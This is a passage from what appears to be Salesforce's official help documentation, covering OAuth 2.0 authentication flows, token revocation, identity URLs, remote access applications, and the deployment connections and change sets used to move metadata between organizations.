{"error":"authentication_failure","error_description":"invalid password"}

error_uriA link to the SAML Assertion Validator, which contains more information about the failure. This is only

returned when Salesforce is able to parse the assertion. See Validating SAML Settings for Single Sign-On on page 700. The following is an example error:
{"error_uri":"https://na1.salesforce.com/setup/secur/SAMLValidationPage.apexp", "error":"invalid_grant","error_description":"invalid assertion"}

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth Using the Access Token Using Identity URLs

OAuth 2.0 Username-Password Flow


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The username-password authentication flow can be used to authenticate when the consumer already has the users credentials.

2303

Develop

Authenticating Remote Access Application OAuth

Warning: This OAuth authentication flow involves passing the users credentials back and forth. Use this authentication flow only when necessary. No refresh token will be issued. The following are the steps for the username-password authentication flow. More detail about each step follows: 1. The consumer uses the end-users username and password to request an access token (session ID.) 2. After the request is verified, Salesforce sends a response to the client. After a consumer has an access token, they can use the access token to access Salesforce data on the end-users behalf. Request an Access Token The consumer can use the end-users username and password to request an access token, which can be used as a session ID. The consumer should make an out-of-band POST request to the token endpoint, with the following parameters:
grant_typeValue must be password for this flow. client_idConsumer key from the remote access application definition. client_secretConsumer secret from the remote access application definition. usernameEnd-user username. passwordEnd-user password

Note: When using the username-password flow with the API, be sure to create a field in the username and password login screen where users can input their security token. You must concatenate their password and token when passing the request for authentication. For more information about security tokens, see Resetting Your Security Token on page 45
formatExpected return format. This parameter is optional. The default is json. Values are:

urlencoded json xml The following is an example of the body of the out-of-band POST:
grant_type=basic-credentials&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLM82Hn FVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA9GE&client_secret= 1955279925675241571&username=testuser%40salesforce.com&password=mypassword

Send Response After the request is verified, Salesforce sends a response to the client. The following parameters are in the body of the response:
access_tokenSalesforce session ID that can be used with the Web services API. instance_urlURL indicating the instance of the users organization. In this example, the instance is na1: https://na1.salesforce.com. idIdentity URL that can be used to both identify the user as well as query for more information about the user. See

Using Identity URLs on page 2308. signatureBase64-encoded HMAC-SHA256 signature signed with the consumers private key containing the concatenated ID and issued_at. This can be used to verify the identity URL was not modified since it was sent by the server. issued_atWhen the signature was created.

2304

Develop

Authenticating Remote Access Application OAuth

Note: No refresh token is sent with this response.

The following is an example response:


{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P", "issued_at":"1278448832702","instance_url":"https://na1.salesforce.com", "signature":"0CmxinZir53Yex7nE0TD+zMpvIWYGb/bdJh6XfOH6EQ=","access_token": "00Dx0000000BV7z!AR8AQAxo9UfVkh8AlV0Gomt9Czx9LjHnSSpwBMmbRcgKFmxOtvxjTrKW1 9ye6PE3Ds1eQz3z8jr3W7_VbWmEu4Q8TVGSTHxs"}

If a problem occurs during this step, the response contains an error message with these parts:
errorError code error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported invalid_client_idclient identifier invalid invalid_requestHTTPS required invalid_requestmust use HTTP POST invalid_client_credentialsclient secret invalid invalid_grantinvalid user credentials invalid_grantIP restricted or invalid login hours inactive_useruser is inactive inactive_orgorganization is locked, closed, or suspended rate_limit_exceedednumber of logins exceeded invalid_scoperequested scope is invalid, unknown, or malformed

Any login error not listed receives a generic authentication failure with text describing the error. For example, LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}

The following is an example of a returned error:


{"error":"invalid_client_credentials","error_description":"client secret invalid"}

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth Using the Access Token Using Identity URLs

2305

Develop

Authenticating Remote Access Application OAuth

Revoking OAuth Tokens


Available in: All Editions

When users request their data from within the external application (the consumers page), they are authenticated. You can revoke their access tokens, or the refresh token and all related access tokens, using revocation. Developers can use this feature when configuring a Log Out button in their application. Revoking Tokens To revoke OAuth 2.0 tokens, use the revocation endpoint:
https://login.salesforce.com/services/oauth2/revoke

Construct a POST request that includes the following parameters using the application/x-www-form-urlencoded format in the HTTP request entity-body. For example:
POST /revoke HTTP/1.1 Host: https://login.salesforce.com/services/oauth2/revoke Content-Type: application/x-www-form-urlencoded token=currenttoken

If an access token is included, we invalidate it and revoke the token. If a refresh token is included, we revoke it as well as any associated access tokens. The authorization server indicates successful processing of the request by returning an HTTP status code 200. For all error conditions, a status code 400 is used along with one of the following error responses.
unsupported_token_typetoken type not supported invalid_tokenthe token was invalid

For Sandbox, use test.salesforce.com instead of login.salesforce.com. GET Support We also support GET requests with the query string parameter token and the current token. If an access token is included, we invalidate it and revoke the token. If a refresh token is included, we revoke it as well as any associated access tokens. For example:
https://login.salesforce.com/services/oauth2/revoke?token=currenttokenID

The authorization server indicates successful processing of the request by returning an HTTP status code 200. For all error conditions, status code 400 is used. JSONP Support The revocation endpoint also accepts GET requests with an additional callback parameter, and returns the response with content type application/javascript. For example:
https://login.salesforce.com/services/oauth2/revoke?token=XXXXX&callback=myCallback

2306

Develop

Authenticating Remote Access Application OAuth

If the request is successful, a callback is sent to the JavaScript function set in the callback parameter of the GET:
myCallback({});

If the response is not successful, a callback is sent with an error code:


myCallback({"error":"invalid_token"});

See Also:
Authenticating Remote Access Application OAuth Getting Started with Remote Access Applications Remote Access Application Overview Authenticating Remote Access Application OAuth Remote Access Application Overview Authenticating Remote Access Application OAuth

Using the Access Token


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

After a consumer using OAuth version 2.0 has an access token, the method of using the token depends on the API being used. For the REST API, use an HTTP authorization header with the following format Authorization: OAuth
Access_Token

For the SOAP API, the access token is placed in the Salesforce SOAP authentication header. See SOAP API Developer's Guide. For the identity URL, use either an HTTP authorization header (as with the REST API) or use as an HTTP parameter oauth_token.

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth OAuth 2.0 Web Server Authentication Flow OAuth 2.0 User-Agent Flow OAuth 2.0 Username-Password Flow Using Identity URLs

2307

Develop

Authenticating Remote Access Application OAuth

Using Identity URLs


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

In addition to the access token, an identity URL is also returned as part of a token response, in the id parameter. The identity URL is both a string that uniquely identifies a user, as well as a RESTful API that can be used to query (with a valid access token) for additional information about the user. Salesforce returns basic personalization information about the user, as well as important endpoints that the client can talk to, such as photos for the user, and API endpoints it can access. The format of the URL is: https://login.salesforce.com/id/orgID/userID, where orgId is the ID of the Salesforce organization that the user belongs to, and userID is the Salesforce user ID. Note: For Sandbox, login.salesforce.com is replaced with test.salesforce.com. The URL must always be HTTPS.

Identity URL Parameters The following parameters can be used with the access token and identity URL. They are used in an authorization request header or in a request with the oauth_token parameter. For more details, see Using the Access Token on page 2307. Parameter Access token Format Description See Using the Access Token on page 2307. This parameter is optional. Specify the format of the returned output. Valid values are: urlencoded json xml Instead of using the format parameter, the client can also specify the returned format in an accept-request header using one of the following:
Accept: application/json Accept: application/xml Accept: application/x-www-form-urlencoded

Note the following: Wildcard accept headers are allowed. */* is accepted and returns JSON. A list of values is also accepted and is checked left-to-right. For example:

2308

Develop

Authenticating Remote Access Application OAuth

Parameter

Description
application/xml,application/json,application/html,*/*

returns XML. The format parameter takes precedence over the accept request header.

Version

This parameter is optional. Specify a SOAP API version number, or the literal string, latest. If this value isnt specified, the returned API URLs contains the literal value {version}, in place of the version number, for the client to do string replacement. If the value is specified as latest, the most recent API version is used. This parameter is optional, and is only accepted in a header, not as a URL parameter. Specify the output to be better formatted. For example, use the following in a header: X-PrettyPrint:1. If this value isnt specified, the returned XML or JSON is optimized for size rather than readability. This parameter is optional. Specify a valid JavaScript function name. This parameter is only used when the format is specified as JSON. The output is wrapped in this function name (JSONP.) For example, if a request to https://server/id/orgid/userid/ returns {"foo":"bar"}, a request to
https://server/id/orgid/userid/?callback=baz returns baz({"foo":"bar"});.

PrettyPrint

Callback

Identity URL Response After making a valid request, a 302 redirect to an instance URL is returned. That subsequent request returns the following information in JSON format:
idThe identity URL (the same URL that was queried) asserted_userA boolean value, indicating whether the specified access token used was issued for this identity user_idThe Salesforce user ID usernameThe Salesforce username organization_idThe Salesforce organization ID nick_nameThe community nickname of the queried user display_nameThe display name (full name) of the queried user emailThe email address of the queried user statusThe users current Chatter status.

created_date:xsd datetime value of the creation date of the last post by the user, for example, 2010-05-08T05:17:51.000Z body: the body of the post
photosA map of URLs to the users profile pictures

Note: Accessing these URLs requires passing an access token. See Using the Access Token on page 2307.

2309

Develop

Authenticating Remote Access Application OAuth

picture thumbnail
urlsA map containing various API endpoints that can be used with the specified user.

Note: Accessing the REST endpoints requires passing an access token. See Using the Access Token on page 2307.

enterprise (SOAP) metadata (SOAP) partner (SOAP) profile feeds (Chatter) feed-items (Chatter) groups (Chatter) users (Chatter) custom_domainThis value is omitted if the organization doesnt have a custom domain configured and propagated

(see My Domain Overview on page 391)


activeA boolean specifying whether the queried user is active user_typeThe type of the queried user languageThe queried users language localeThe queried users locale utcOffsetThe offset from UTC of the timezone of the queried user, in milliseconds last_modified_datexsd datetime format of last modification of the user, for example, 2010-06-28T20:54:09.000Z

The following is a response in XML format:


<?xml version="1.0" encoding="UTF-8"?> <user xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <id>http://na1.salesforce.com/id/00Dx0000001T0zk/005x0000001S2b9</id> <asserted_user>true</asserted_user> <user_id>005x0000001S2b9</user_id> <organization_id>00Dx0000001T0zk</organization_id> <nick_name>admin1.2777578168398293E12foofoofoofoo</nick_name> <display_name>Alan Van</display_name> <email>admin@2060747062579699.com</email> <status> <created_date xsi:nil="true"/> <body xsi:nil="true"/> </status> <photos> <picture>http://na1.salesforce.com/profilephoto/005/F</picture> <thumbnail>http://na1.salesforce.com/profilephoto/005/T</thumbnail> </photos> <urls> <enterprise>http://na1.salesforce.com/services/Soap/c/{version}/00Dx0000001T0zk </enterprise> <metadata>http://na1.salesforce.com/services/Soap/m/{version}/00Dx0000001T0zk </metadata> <partner>http://na1.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk </partner> <rest>http://na1.salesforce.com/services/data/v{version}/ </rest> <sobjects>http://na1.salesforce.com/services/data/v{version}/sobjects/ </sobjects> <search>http://na1.salesforce.com/services/data/v{version}/search/ </search>

2310

Develop

Authenticating Remote Access Application OAuth

<query>http://na1.salesforce.com/services/data/v{version}/query/ </query> <profile>http://na1.salesforce.com/005x0000001S2b9 </profile> </urls> <active>true</active> <user_type>STANDARD</user_type> <language>en_US</language> <locale>en_US</locale> <utcOffset>-28800000</utcOffset> <last_modified_date>2010-06-28T20:54:09.000Z</last_modified_date> </user>

The following is a response in JSON format:


{"id":"http://na1.salesforce.com/id/00Dx0000001T0zk/005x0000001S2b9", "asserted_user":true, "user_id":"005x0000001S2b9", "organization_id":"00Dx0000001T0zk", "nick_name":"admin1.2777578168398293E12foofoofoofoo", "display_name":"Alan Van", "email":"admin@2060747062579699.com", "status":{"created_date":null,"body":null}, "photos":{"picture":"http://na1.salesforce.com/profilephoto/005/F", "thumbnail":"http://na1.salesforce.com/profilephoto/005/T"}, "urls": {"enterprise":"http://na1.salesforce.com/services/Soap/c/{version}/00Dx0000001T0zk", "metadata":"http://na1.salesforce.com/services/Soap/m/{version}/00Dx0000001T0zk", "partner":"http://na1.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk", "rest":"http://na1.salesforce.com/services/data/v{version}/", "sobjects":"http://na1.salesforce.com/services/data/v{version}/sobjects/", "search":"http://na1.salesforce.com/services/data/v{version}/search/", "query":"http://na1.salesforce.com/services/data/v{version}/query/", "profile":"http://na1.salesforce.com/005x0000001S2b9"}, "active":true, "user_type":"STANDARD", "language":"en_US", "locale":"en_US", "utcOffset":-28800000, "last_modified_date":"2010-06-28T20:54:09.000+0000"}

After making an invalid request, the following are possible responses from Salesforce: Request Problem HTTP Missing access token Invalid access token Users in a different organization Invalid or bad user or organization ID Deactivated user or inactive organization Error Code 403 (forbidden) HTTPS_Required 403 (forbidden) Missing_OAuth_Token 403 (forbidden) Bad_OAuth_Token 403 (forbidden) Wrong_Org 404 (not found) Bad_Id 404 (not found) Inactive

User lacks proper access to organization or information 404 (not found) No_Access Request to the endpoint of a site Invalid version 404 (not found) No_Site_Endpoint 406 (not acceptable) Invalid_Version

2311

Develop

Deleting Remote Access Applications

Request Problem Invalid callback

Error Code 406 (not acceptable) Invalid_Callback

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth OAuth 2.0 Web Server Authentication Flow OAuth 2.0 User-Agent Flow OAuth 2.0 Username-Password Flow Using the Access Token

Deleting Remote Access Applications


Available in: Professional, Enterprise, Unlimited, and Database.com Editions Managed Packages are not available in Database.com

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

When you delete a remote access application contained in a managed package, access to that application is immediately removed from all subscribing organizations. The subscribing organizations do not have to wait until a new version of the managed package is released. Do not delete remote access applications unless you are certain this is the correct behavior. To delete remote access applications, click Your Name > Setup > Develop > Remote Access. In the list of remote access applications, click Del next to the name of the remote access application to delete.

See Also:
Remote Access Application Overview Defining Remote Access Applications

2312

Develop

Viewing Remote Access Application Details

Viewing Remote Access Application Details


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

Use the remote access pages to specify remote access applications that can access a Salesforce instance. To view the details for a defined application, click Your Name > Setup > Develop > Remote Access, and click the name of the application. From this page you can do any of the following: EditChange the name, contact information, and so on. Note: Even if you change the name of the application, the consumer key and consumer secret are not regenerated. The only way to remove a remote access application from a package is to delete it from your organization. DelDelete the remote access application.

See Also:
Remote Access Application Overview Defining Remote Access Applications

Remote Access Application Request


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The external application you are using is requesting access to your Salesforce data. The external application has already been integrated into Salesforce by your administrator. To grant this application access to your Salesforce data, click Accept. If the description of the application does not match the application you are currently using or for any other reason you do not want to grant access to your data, click Deny. If the currently logged in user is not you, click Not you? to log out the current user and log in as yourself.

2313

Develop

Remote Access Application Request

You can only grant access to an external application a specific number of times. Generally, you grant access for every device you use, such as a laptop and a desktop computer. The default is five per application. If youve reached the limit for your organization, granting access to this application automatically revokes access to the token or tokens for this application that havent been used for the longest period of time. The remote access application token or tokens that will be revoked display on the page. After you have granted access to a remote access application, you can revoke it later by clicking Your Name > Setup > My Personal Information > Personal Information, then in the Remote Access related section, click Revoke.

See Also:
Remote Access Application Overview

Remote Access Application Request Approved


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The external application you are using has requested access to your Salesforce data, and you approved this request. Close the browser window and go back to the application you were using. After you have granted access to a remote access application, you can revoke it later by clicking Your Name > Setup > My Personal Information > Personal Information, then in the Remote Access related section, click Revoke.

See Also:
Remote Access Application Overview Remote Access Application Request

2314

Develop

Managing Your Remote Access Applications

Remote Access Application Request Denied


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The external application you are using has requested access to your Salesforce data and you denied this access. You should log out of Salesforce. You can go back to the originating application.

See Also:
Remote Access Application Overview Remote Access Application Request

Managing Your Remote Access Applications


Available in: All Editions Salesforce Mobile is not available in Database.com

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

A remote access application is an application external to Salesforce that uses the OAuth protocol to verify both the Salesforce user and the external application. All remote access applications have been integrated with Salesforce, such that they can access a subset of your Salesforce data once you explicitly grant each application permission. All remote access applications that have permission to access your Salesforce data are listed in your personal information. Click Your Name > Setup > My Personal Information > Personal Information, and go to the Remote Access section. From there you can do the following: View information about each remote access application that you have granted access to, as well as the number of times and the last time the application attempted to access your information. Note: An application may be listed more than once. Each time you grant access to an application, it obtains a new access token. You must grant access to your Salesforce data from each device that you use, for example, from both a laptop and a desktop computer. The default limit is five access tokens for each application. Newer applications (using the OAuth 2.0 protocol) are automatically approved for additional devices after you've granted access once. OAuth 2.0 applications can be listed more than once. Each row in the table represents a

2315

Deploy

Deployment Overview

unique grant, so if an application requests multiple tokens with different scopes, youll see the same application multiple times. Even if the remote access application tried and failed to access your information because it could not login, the Use Count and Last Used fields are still updated. Click Revoke to revoke the remote access application. After you revoke the application, the application can no longer use that particular remote access authorization token to access your Salesforce data. Important: You must revoke all access tokens for a particular application to prevent it from accessing your Salesforce data.

If you're using Salesforce Mobile and want to use a new mobile device, download the app on the new device and log in. You do not need to revoke the token on the old device; Salesforce automatically creates a new one.

See Also:
Remote Access Application Overview

DEPLOY
Deployment Overview
User Permissions Needed To edit deployment connections: To use outbound change sets: Deploy Change Sets Create and Upload Change Sets, Create AppExchange Packages, AND Upload AppExchange Packages To use inbound change sets: Deploy Change Sets

Click Your Name > Setup > Deploy to access tools used for migrating metadata changes between organizations. Deployment Connections In order to use the change sets feature, a deployment connection is required. You can specify connection permissions for both outbound and inbound change sets on the Deployment Connections page. Outbound Change Sets Make changes in the organization you are logged into, and upload those changes to another organization.

2316

Changesets

Change Sets Overview

Inbound Change Sets Accept, modify, or reject change sets uploaded from other organizations. Monitor Deployments Monitor the progress of deployments made through the Metadata API. Note: Configuration changes deployed using change sets do not appear on the Monitor Deployments page.

See Also:
Change Sets Overview Monitoring Metadata Deployments

CHANGESETS
Change Sets Overview
Available in Enterprise, Unlimited, and Database.com Editions

User Permissions Needed To edit deployment connections: To use outbound change sets: Deploy Change Sets Create and Upload Change Sets, Create AppExchange Packages, AND Upload AppExchange Packages To use inbound change sets: Deploy Change Sets

A change set is a means by which one organization can send customizations to another organization. For example, you could create a new object in a sandbox organization and send it to your production organization using a change set. Change sets can only contain modifications you can make through the Setup menu; therefore, you can't use a change set to upload a list of contact records. In other words, change sets contain metadata, not data. When you want to send customizations from your current organization to another organization, you create an outbound change set. Once you send the change set, the receiving organization sees it as an inbound change set.

2317

Deploy

Components Available in Change Sets

Sending a change set between two organizations requires a deployment connection. Change sets can only be sent between organizations that are affiliated with a production organizationfor example, a production organization and a sandbox, or two sandboxes created from the same organization.

See Also:
Components Available in Change Sets Deployment Connections Outbound Change Sets Inbound Change Sets Change Sets Implementation Tips Change Sets Best Practices

Components Available in Change Sets


The following types of components may be added to a change set. Note: The components available for a change set vary by edition. If you create or modify components that arent available in a change set, you can't send those components from one organization to another in a change set. In this case, migrate the changes manually by repeating the steps you performed when you created or modified the component. List views and tabs are visible to all users when you deploy a change set. Change the visibility in the destination organization if necessary.

Account Criteria Based Sharing Rule Account Owner Sharing Rule Account Territory Owner Sharing Rule Analytic Snapshot Apex Class Apex Sharing Reason Apex Trigger App Button or Link Campaign Criteria Based Sharing Rule Campaign Owner Sharing Rule Case Criteria Based Sharing Rule Case Owner Sharing Rule Contact Criteria Based Sharing Rule Contact Owner Sharing Rule Custom Data Type Custom Field Custom Label Custom Object

2318

Deploy

Components Available in Change Sets

Custom Object Criteria Sharing Rule Custom Object Owner Sharing Rule Custom Report Type Custom Setting Dashboard Document Email Template Flow Folder Group Home Page Component Home Page Layout Letterhead Language Translation Lead Criteria Based Sharing Rule Lead Owner Sharing Rule List View Opportunity Criteria Based Sharing Rule Opportunity Owner Sharing Rule Page Layout Permission Set Queue Record Type Remote Site Report Role S-Control Static resource Tab Territory Validation Rule Visualforce Component Visualforce Page Workflow Email Alert Workflow Field Update Workflow Outbound Message Workflow Rule Workflow Task

2319

Deploy

About Permission Sets and Profile Settings in Change Sets

Workflow Time Trigger

See Also:
Force.com Metadata API Developer's Guide Change Sets Overview

About Permission Sets and Profile Settings in Change Sets


Available in Enterprise, Unlimited, and Database.com Editions

Developers can use permission sets or profile settings to specify permissions and other access settings in a change set. When deciding whether to use permission sets, profile settings, or a combination of both, consider the similarities and differences. Behavior What permissions and settings are included? Permission Sets Standard and custom object permissions Standard and custom field permissions User permissions (such as API Enabled) Apex class access Visualforce page access Note: Assigned apps and tab settings are not included in permission set components. Added as a component? Require supporting components to be installed? Yes Profile Settings Assigned apps Tab settings Page layout assignments Record type assignments Custom object permissions Custom field permissions Apex class access Visualforce page access Login IP ranges

No. Profiles are added in a separate setting.

For custom objects and fields, yes. For Yes example, object permissions for the custom object Items are included only if the Items object is also included. However, user, standard object, and standard field permissions don't require supporting components to be installed.

Note: Login IP ranges included in profile settings will overwrite the login IP ranges for any matching profiles in the target organization.

2320

Deploy

Deployment Connections

Deployment Connections
User Permissions Needed To edit deployment connections: Deploy Change Sets

In order for change sets to be sent from one organization to another, a deployment connection is required between the organizations. Deployment connections can't be created between arbitrary organizations; instead, a deployment connection is created between all organizations affiliated with a production organization. For example, if you have a production organization (Prod) and two sandboxes (Dev and Test), a deployment connection is created between production and each sandbox (Prod and Dev, and another connection between Prod and Test), as well as between the sandboxes (Dev and Test). A deployment connection alone doesn't enable change sets to be sent between organizations. Each organization must be authorized to send and receive change sets. This added level of security enforces code promotion paths and keeps organizations' setup metadata from being overwritten by mistake. For example, the following figure illustrates one possible migration path for a production organization and two sandboxes. In this example, the production organization can only receive changes that have been fully tested, so only the Test sandbox is authorized to upload change sets to production. In order to synchronize development projects with the production organization, the Prod organization can send change sets to the Dev sandbox, but not to the Test sandbox. Finally, because the features in development need iterative testing, Dev and Test sandboxes should be able to send change sets back and forth.

Figure 19: Change Set Authorization Enforces Code Path Note: This illustration describes one possible code migration path. Your department must create its own policies for organizations to send and receive change sets to one another.

See Also:
Viewing Available Deployment Connections Viewing Details of a Deployment Connection Authorizing a Deployment Connection Change Sets Overview

2321

Deploy

Viewing Available Deployment Connections

Viewing Available Deployment Connections


A deployment connection enables customizations to be copied from one organization to another. The deployment connections list shows which organizations are authorized to upload changes to this organization, and which organizations allow this organization to upload changes to them. To view available connections, click Your Name > Setup > Deploy > Deployment Connections. Action Click Edit next to the organization that you want to allow or disallow change sets from. Name A list of organizations that have deployment connections to the organization you are currently logged into. Click the name of an organization to view more information about the connection. Description A brief description of the connected organizations. Type The type of organization you are connected to. Possible values are Production, Full Copy Sandbox, Configuration-only Sandbox, and Developer Sandbox. Upload Authorization Direction The arrows show the direction in which uploads can occur. A broken line means that no change sets are authorized in either direction. To authorize the connected organization to send you inbound change sets, edit the deployment connection for this organization. If you want to send outbound change sets to a connected organization, the administrator for that organization must edit the connection for that organization.

See Also:
Viewing Details of a Deployment Connection Authorizing a Deployment Connection Change Sets Overview

Viewing Details of a Deployment Connection


A deployment connection enables customizations to be copied from one organization to another. The deployment connections list shows which organizations are authorized to upload changes to this organization, and which organizations allow this organization to upload changes to them. To view connection details: 1. Click Your Name > Setup > Deploy > Deployment Connections. 2. Click the name of the organization you want to view. Name The name of the selected organization. This is not the organization you are logged into.

2322

Deploy

Authorizing a Deployment Connection

Description A brief description of the organization. Type The type of organization you are connected to. Possible values are Production, Full Copy, Configuration-only, and Developer. Allow Inbound Changes If selected, the named organization can send change sets to the organization you are currently logged into. This is a read-only field and can only be modified by selecting Allow Inbound Changes in the target organization. Accepts Outbound Changes If selected, the named organization allows change sets to be sent to it from the organization you are currently logged into.

See Also:
Viewing Available Deployment Connections Authorizing a Deployment Connection Change Sets Overview

Authorizing a Deployment Connection


In order for another organization to send change sets to the organization you are logged into, you must authorize the inbound change set: 1. 2. 3. 4. Click Your Name > Setup > Deploy > Deployment Connections. Click Edit next to the organization you want to authorize. Select Allow Inbound Changes. Click Save.

See Also:
Viewing Available Deployment Connections Viewing Details of a Deployment Connection Change Sets Overview

Outbound Change Sets


User Permissions Needed To create, edit, or upload outbound change sets: Create and Upload Change Sets

Watch a Demo (2:30 minutes)

2323

Deploy

Creating an Outbound Change Set

An outbound change set is a change set created in the organization you are logged into and that you want to send to another organization. Typically, an outbound change set is used for customizations created and tested in a sandbox and then sent to a production organization. Sending an outbound change set to another organization doesn't guarantee that the changes will be implemented in that organization. The change set must be deployed (accepted) by the target organization before the changes take effect. Note: Change sets are limited to 2,500 components and a total file size of 400 MB.

See Also:
Creating an Outbound Change Set Cloning an Outbound Change Set Selecting Components for an Outbound Change Set Uploading an Outbound Change Set Viewing and Adding Dependent Components to a Change Set Outbound Change Set Validation Errors Deleting an Outbound Change Set Change Sets Overview

Creating an Outbound Change Set


An outbound change set is a change you want to send from the organization you are logged into to another organization. To view outbound change sets, click Your Name > Setup > Deploy > Outbound Change Sets. To create a new change set, click New. To view the details of an existing change set, click its name.

Cloning an Outbound Change Set


You can create a copy of an existing change set by cloning it. 1. Click Your Name > Setup > Deploy > Outbound Change Sets. 2. Click the name of the change set you want to clone.

2324

Deploy

Selecting Components for an Outbound Change Set

3. Click Clone.

See Also:
Creating an Outbound Change Set Selecting Components for an Outbound Change Set Uploading an Outbound Change Set Viewing and Adding Dependent Components to a Change Set Outbound Change Set Validation Errors Deleting an Outbound Change Set Change Sets Overview

Selecting Components for an Outbound Change Set


To select the components in an outbound change set: 1. 2. 3. 4. 5. 6. Click Your Name > Setup > Deploy > Outbound Change Sets. In the Change Sets list, click the name of a change set, or create a new one. Click Add to add components. Choose the type of component and the components you want to add, and then click Add to Change Set. Click Add Profiles to add profile settings to the change set. Optionally, click View/Add Dependencies to add dependent components. Note: Dependent components rely on the existence of other components. Unless you are certain that the dependent components exist in every organization this change set will be deployed to, it's a good idea to add dependent components to the change set.

See Also:
Creating an Outbound Change Set Cloning an Outbound Change Set Uploading an Outbound Change Set Viewing and Adding Dependent Components to a Change Set Outbound Change Set Validation Errors Deleting an Outbound Change Set Change Sets Overview

Uploading an Outbound Change Set


Once youve assembled the components in a change set, you can upload it to another organization. Note that once you upload a change set, you can't edit it or recall it. 1. Click Your Name > Setup > Deploy > Outbound Change Sets. 2. Click the name of a change set.

2325

Deploy

Uploading Change Sets During Server Upgrades

3. Select the organization you want to send the change set to. 4. Click Upload. Note: Outbound change sets expire six months after upload, at which time the change set is permanently deleted.

See Also:
Creating an Outbound Change Set Uploading Change Sets During Server Upgrades Cloning an Outbound Change Set Selecting Components for an Outbound Change Set Viewing and Adding Dependent Components to a Change Set Outbound Change Set Validation Errors Deleting an Outbound Change Set Change Sets Overview

Uploading Change Sets During Server Upgrades


During server upgrades, production and sandbox environments may not be running the same version of the platform. Some components may have new functionality or other changes that will not allow you to deploy that type of component until the production organization is running the same version as sandbox. If you upload a change set that has components that can't be deployed because they are incompatible with the older version, the system detects which components can't be deployed, and gives you the option of uploading the remaining components.

Viewing and Adding Dependent Components to a Change Set


A dependency is a relationship where one or more components must exist for another component to exist. It's a good idea to add dependent components to a change set, unless you are sure that the dependent components exist in every organization where this change set will be deployed. To add dependent components to an outbound change set: 1. 2. 3. 4. Click Your Name > Setup > Deploy > Outbound Change Sets. In the Change Sets list, click the name of a change set. Click View/Add Dependencies. On the Component Dependencies page, select the dependent components you wish to deploy and click Add to Change Set.

2326

Deploy

Viewing the Source of a Metadata Component

Warning: If your change set contains more than 2500 dependencies you will only be able to see the first 2500 in the view dependencies page.

See Also:
Creating an Outbound Change Set Cloning an Outbound Change Set Selecting Components for an Outbound Change Set Uploading an Outbound Change Set Outbound Change Set Validation Errors Deleting an Outbound Change Set Change Sets Overview

Viewing the Source of a Metadata Component


Before you upload or deploy a change set, you can view the source of each metadata component in the change set. This allows you to verify that you are uploading or deploying the correct changes. If the metadata component in the change set is a profile or permission set, then the XML source displayed depends on the contents of the change set. For example, profiles only contain field-level security for fields included in the custom object that are part of the change set. Note: Like profiles, permission sets contain permissions for only the custom components included in a change set. Unlike profiles, however, permission sets can also contain standard object permissions, standard field permissions, and user permissions (such as API Enabled). For information about the fields, attributes, and settings of the available metadata types, see the Force.com Metadata API Developers Guide Note: You can't view the source of a Static Resource, Document, or Folder.

Outbound Change Set Validation Errors


If you receive an error about cross-version validation, then the organization used to create the outbound change set is running on a different platform version than the organization receiving the change set. This error typically occurs during upgrades,

2327

Deploy

Deleting an Outbound Change Set

because organizations may be upgraded at different times. If you receive this error, you can only deploy those components that are compatible between versions.

See Also:
Creating an Outbound Change Set Cloning an Outbound Change Set Selecting Components for an Outbound Change Set Uploading an Outbound Change Set Viewing and Adding Dependent Components to a Change Set Deleting an Outbound Change Set Change Sets Overview

Deleting an Outbound Change Set


To delete an outbound change set: 1. Click Your Name > Setup > Deploy > Outbound Change Sets. 2. Click the name of the change set you want to delete. 3. Click Delete.

See Also:
Creating an Outbound Change Set Cloning an Outbound Change Set Selecting Components for an Outbound Change Set Uploading an Outbound Change Set Viewing and Adding Dependent Components to a Change Set Outbound Change Set Validation Errors Change Sets Overview

Inbound Change Sets


User Permissions Needed To deploy inbound change sets: Deploy Change Sets

Watch a Demo (2:30 minutes)

2328

Deploy

Viewing Inbound Change Sets

An inbound change set is a change set that has been sent from another organization to the organization you are logged into. A change sent must be deployed for the changes to take effect. You can deploy the contents of an inbound change set as a whole, but not on a component-by-component basis.

See Also:
Viewing Inbound Change Sets Viewing Change Set Details Deploying a Change Set Change Sets Overview

Viewing Inbound Change Sets


The Inbound Change Sets page lists change sets awaiting deployment, as well as the history of deployed change sets. To view inbound change sets, click Your Name > Setup > Deploy > Inbound Change Sets. Note: Inbound change sets are permanently deleted six months after the change set is uploaded.

See Also:
Inbound Change Sets Viewing Change Set Details Validating a Change Set Deploying a Change Set Change Sets Overview

Viewing Change Set Details


The Change Sets detail page lists information about a particular change set. 1. Click Your Name > Setup > Deploy > Inbound Change Sets. 2. Click the name of a change set.

See Also:
Inbound Change Sets Viewing Inbound Change Sets Deploying a Change Set Change Sets Overview

2329

Deploy

Validating a Change Set

Validating a Change Set


You can validate a change set without deploying changes. Validating a change set allows you to view the success or failure messages you would receive with an actual deploy. 1. Click Your Name > Setup > Deploy > Inbound Change Sets. 2. Click the name of a change set. 3. Click Validate. Note: You can't make any changes to your organization while a test deployment is in progress.

4. After the validation completes, click View Results.

Deploying a Change Set


